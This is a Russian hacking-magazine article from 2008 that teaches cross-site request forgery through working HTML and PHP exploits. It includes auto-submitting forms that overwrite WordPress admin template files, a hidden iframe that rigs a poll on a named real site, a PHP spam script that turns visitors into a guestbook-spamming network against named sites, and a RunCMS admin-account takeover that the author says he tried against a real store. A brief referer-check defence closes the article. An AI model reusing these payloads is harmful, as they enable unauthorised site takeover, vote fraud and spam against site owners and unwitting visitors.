Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 115, ИЮЛЬ 2008 г.

Волк в овечьей шкуре

kolpeex

Хакер, номер #115, стр. 115-044-1

Юзаем XSS там, где ее нет

Хакеры всегда стараются открывать дыры там, где они, казалось бы, отсутствуют. В нашем журнале и на задворках интернета ты найдешь кучу изъезженного материала о XSS. Но сейчас я расскажу тебе о технологии CSRF, которая позволяет эксплуатировать XSS, там, где их действительно нет.

Теория

Встретить на сайте include-баг – настоящая роскошь. Вот и выкручиваются хакеры, придумывают разные техники. Одна из таких техник – CSRF или XSRF (Cross-Site Request Forgery), то есть межсайтовые запросы, разновидность XSS/CSS. Сама CSRF не нова, но очень актуальна. Взломщик заманивает юзера на специальную страницу, которая посылает специальный запрос уязвимому сайту, выполняя на нем какие-либо действия от лица пользователя. Уязвимости подвержены веб-приложения, которые не проверяют, откуда был передан запрос.

Так можно выполнить какие-либо действия от лица авторизованного пользователя, например, админа. Действия эти ограничиваются лишь возможностями уязвимого интерфейса – будь то «запостить сообщение» или «сохранить БД в домашнем каталоге».

Что? Откуда? Куда?

Рассмотрим баг подробнее. Возьмем, к примеру, WordPress версии 2.3.2 (другой версии у меня на винте не оказалось, а качать по мопеду дорого). Уязвимость в этой версии WP очень лакомая и, возможно, даже не единственная (другие я искать не стал). Таится она во встроенном редакторе файлов. Заходим в «админку -> Управление -> Файлы» и видим лакомый <textarea>, а также список чаще всего редактируемых файлов. Открываем любой файл и пишем туда какую-либо ерунду. Работает? Еще бы, кодеры WP знают свое дело.

Но про нас они тоже не забывают. Открываем index.php и сохраняем страницу браузера куда-нибудь. Затем – редактируем: удаляем все, кроме формы редактирования. Получается что-то вроде:

<body>

<form name="template" method="post">

<input type="hidden" name="_wpnonce" value="0ae8245664" />

<input type="hidden" name="_wp_http_referer" value="/wp-admin/templates.php" />

<input type="hidden" name="newcontent" value="здесь код index.php" />

<input type="hidden" name="action" value="update" />

<input type="hidden" name="file" value="index.php" />

<input type='hidden' name='submity' value=' Обновить файл »' tabindex='2' />

</form></body>

Немного правим newcontent и <body><form>

<body onLoad="document.getElementById('templateaa').submit()">

<form name="template" id="templateaa" action="http://victim/wp-admin/templates.php" method="post">

И пробуем открыть страничку. Что получилось? WP проглотил наш запрос и выдал радостное сообщение «Файл успешно отредактирован». При этом он не проверил, что запрос пришел с адреса левого хоста! Рассмотрим подробнее, что произошло.

Браузер зашел на нашу страницу и выполнил js-скрипт, который имитировал отправку формы. Сервер получает запрос с Cookie-данными и данными POST-запроса. Сначала он проверяет Cookie: сессия есть, пользователь авторизован, доступ к админ-панели имеется. Затем – обрабатывает POST-данные, в которых сказано, что нужно в index.php сохранить то-то и то-то.

Это и есть XSRF. С помощью нее можно делать потрясающие вещи… Самое время перейти к примерам.

Практика I – накрутка

Создать еще одного админа в системе или отредактировать файл? Слишком банально (хотя и будет рассмотрено чуть дальше). Нужно придумать что-нибудь более нестандартное...

Очень часто на форумах просят за что-либо проголосовать или спрашивают, как накрутить счетчики голосований. Если первая просьба частично выполняется, то на вторую чаще дают рекомендации, мол, «напишите скрипт, который будет голосовать. Но если там фильтрация по IP, то из этого мало что получится».

В помощь любителям халявы идет великий XSRF. Специальную страницу, которая будет голосовать, посетят совершенно разные люди с разными IP-адресами и чистенькими кукисами. Каждого такого «пользователя» бажный движок голосования воспримет как настоящего (хотя он и так настоящий) посетителя.

И я решил провести XSRF на каком-либо голосовании. Смотри, как я это сделал.

Для начала я ввел в Гугле запрос «Нравится ли вам наш сайт? Голосовать» и получил в ответ полтора миллиона страниц. Особо не парясь, я перешел по первому линку:

Результаты голосования: Вам нравится наш сайт?

cook.denek.net/voting/rate/4.html

Вероятно, кулинария не столь популярная в рунете вещь: с 2003 года проголосовало чуть более 250 человек. Я собрался исправить это недоразумение. Но я обломался, голосовать можно было хоть сто раз, а мне нужно было голосование с защитой от накрутки. Вернувшись в Гугл, я стал дальше просматривать результаты и нашел то, что нужно:

Голосования - LiDa.in.ua

lida.in.ua/prg/vote.html?id=2

Отдав свой голос, просмотрел результаты. После второй попытки они уже не менялись. Тогда я сохранил страницу с формой голосования на винчестере и немного отредактировал. Получилось следующее:

<body onLoad="document.getElementById('mega_vote').submit()">

<form action="http://lida.in.ua/prg/get_vote.php" id="mega_vote" method="post">

<input type="hidden" name="kod" value="2">

<input type="hidden" name="vote" value="1">

</form>

</body>

Почти тоже, что и предыдущей главе. А чтобы сделать голосование неявным, вынес все это в отдельный файл – vote-lida.in.ua.html. Файл index.html содержал iframe на эту страницу:

<html>

<head>

<title>Not work!</title>

<style>

body {background: url('homjak.gif')}

h1 {background-color: white;}

</style>

</head>

<body>

<h1>Not work!</h1>

</body>

</html>

<iframe src="/vote-lida.in.ua.html" width="1" height="1"></iframe>

Это добро я залил на yandex:

http://kolpeex-hta.narod.ru/

И отправил линк паре своих контактов. Счетчик увеличился на 2. Значит, все работало. Друзья рады хомячкам на страничке, а я – работающему XSRF.

Результаты можно увидеть по адресу:

http://lida.in.ua/prg/get_vote.php?kod=2

Реально даже выставить <iframe> на похеканном сайте! Тогда можно накрутить все, что угодно, не обращая внимания на фильтрацию по IP, ведь сайт будут посещать абсолютно разные посетители. Таким же образом можно накручивать счетчики на сайтах и «нажимать» на рекламу на собственном сайте. С XSRF доступно многое!

Практика II – спам

Что такое посещаемый ресурс? Это много абсолютно разных независимых посетителей. Так почему бы не использовать их в корыстных целях? Вспомним, например, для чего используют ботнет – спам и DDoS!

В нашем случае DDoS – маловероятно, потому что нужно внедриться в очень крупный ресурс, «проiframeив» страницы на адрес цели. Но похекать такой ресурс нереально. Может, я и попытаюсь, но не в этот раз.

А вот спамить – вполне.

В «][акере» уже была статья с названием «Веб-наводнение», в которой рассказывалось о написании флудера для различных web-движков. Однако простая защита от флуда (например, 30-секундная задержка) сводит весь флуд на нет. Частенько, к тому же, работает блокировка по IP-адресу.

В этом случае нужно юзать большие листы прокси и т.д. Но зачем, если есть своеобразный «ботнет». Мы будем использовать ту же схему, что и с голосованиями. Сделаем небольшую спам-систему, состоящую из двух частей:

Клиентская – внедряется на сильно-посещаемый ресурс

Серверная – управляет потоком (куда спамить, как и что)

Клиентская часть будет состоять из одного iframe'а, который необходимо внедрить на какой-нибудь посещаемый ресурс.

<iframe frameborder="no" width="1" height="1" src="http://www.kolpeex.tu2.ru/spam.php"></iframe>

Спамить будем несчастные гостевые книги :).

Необходимо выбрать конкретный движок гостевушки, например, Manlix – первое, что попало под горячую руку.

Далее идем в Гугл и составляем список целей (разумеется, все это можно автоматизировать, да и необязательно брать гостевушки одного и того же двига, можно просто дублировать поля).

Теперь приступаем к серверной части. Здесь я сбацал небольшой скриптец:

<?php

$list = array(

'http://kotsu.ru/guest/',

'http://hunterdogs.net/guestbook/',

'http://www.accordion.ru/harmonica/guestbook/',

'http://algiz-rock.net/gb/',

'http://www.ambar.h15.ru/questbook/'

); $list_last = count($list)-1;

$texts = array(

'Google - самый лучший сайт',

'А я все нашел в Гугле',

'Круче Гугла нет на свете ничего',

'XSRF - рульная вещь',

'XSRF has you'

); $text_last = count($texts)-1;

function randw() {

$len = mt_rand(5,8);

$str = '';

while($len--)

$str.=chr(mt_rand(0x61,0x7A));

return $str;

}

$name = randw();

$homepage = 'google.com';

$target = $list[mt_rand(0,$list_last)];

$email = randw().'@'.randw().'.ru';

$icq = mt_rand(10000,500000000);

$text = $texts[mt_rand(0,$text_last)];

?><body onload="document.gbook.submit()">

<form method="post" name="gbook" action="<?=$target?>">

<input type=hidden name=name value="<?=$name?>">

<input type=hidden name=homepage value="<?=$homepage?>">

<input type=hidden name=mail value="<?=$email?>">

<input type=hidden name=icq value="<?=$icq?>">

<input type=hidden name=message value="<?=HtmlSpecialChars($text)?>">

</form></body>

Думаю, комментировать работу скрипта не нужно: он предельно легкий. Потестил на локале – все работало! Меня успешно перебросило на один из сайтов, и там уже было запостено одно сообщение. Затем я залил обе части и стал ждать. Связка успешно работала – на следующий день несколько книг были окончательно заспамлены. Я уж извиняюсь перед владельцами, но они там и так были по уши в спаме.

Практика III – проникновение

Теперь рассмотрим совсем уж клинический случай – RunCMS. Авторы этой системы на славу постарались и сделали настоящий полигон багов. Советую его начинающим багоискателям. Когда качал последнюю на тот момент версию – 1.6.1 (build 200701224), увидел в changelog'е php-inj. Что уж говорить о таком незаметном баге, как XSRF. Сразу же, установив этот билд и пройдя в админ-панель, я отключил пересылку referer и стал прощупывать самые интересные места.

Не обошлось тут без создания пользователя из админки и назначения ему высших привилегий :). Referer не проверялся, скрытых полей в форме создания не было – сплоит написан буквально за десять минут.

Все это хозяйство я залил на narod.ru и стал гуглить сайты, работающие на RunCMS. Честно говоря, найти сайт с RunCMS гораздо сложнее чем с Joomla :).

После хитроумного запроса в Гугле была выбрана жертва – runstore.ru.

На этом сайте продают модуль интернет-шопа.

Так как сплоит действовал только на админов, мне нужно было быть уверенным, что админ прочитает его, будучи авторизованным (либо в ЛС, либо через специальную форму обратной связи). Через последний способ я натайпил админу сообщение. И стал ждать... Ждать пришлось относительно недолго, всего несколько часов. Сплоит сработал немного не так, как ожидалось.

Доступа в админ-панель не было, но ранг оказался «Администратор», к тому же акк был зареган на мыльник billy@microsoft.com. Разумеется, я все рассказал настоящему админу ресурса и помог ему кодом. Админ оказался отличным челом, и все оперативно пропатчил.

Solution

Как защититься? Элементарно. Нужно всего лишь проверять, с какого URL идет запрос.

Для этого достаточно проверить значение заголовка REFERER.

function validate_referer() {

if($_SERVER['REQUEST_METHOD']!=='POST') return;

if(@!empty($_SERVER['HTTP_REFERER'])) {

$ref = parse_url(@$_SERVER['HTTP_REFERER']);

if($_SERVER['HTTP_HOST']===$ref['host']) return;

}

die('Invalid request');

}

validate_referer();

Правда, и это не решение. Так как в связке с XSS поле referrer будет правильным, – необходимо использовать скрытые поля, которые должны генерироваться случайным образом и, разумеется, проверяться при обработке запроса.

И как об этом не догадываются другие кодеры?

Злоключение

Несмотря на то, что шансы на победу (читай: защиту) у веб-мастеров теоретически стопроцентные, в реальности – атаке подвержены очень многие публичные и самописные движки, абсолютно независимо от платформы.

Поедая батон с кефиром, я находил XSRF чуть ли не на каждом втором сайте. Одна есть даже на forum.xakep.ru, не говоря уж о более мелких ресурсах. Искать XSRF очень просто.

Вывод: отключаем посылку referrer в настройках браузера (для Оперы, <F12> -> Send Referrer Information), затем производим какие-либо действия и, если все прошло успешно, проверяем якобы уязвимую форму на наличие специальных полей, которые вставляются для защиты.

К счастью, ты – честный человек и будешь использовать эту информацию не противозаконно, а сугубо для защиты.

Danger

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

INFO

Эксплуатация XSRF тесно связана с использованием СИ.

Действия XSRF ограничиваются лишь возможностями бажного интерфейса.

Содержание
ttfb: 130.33604621887 ms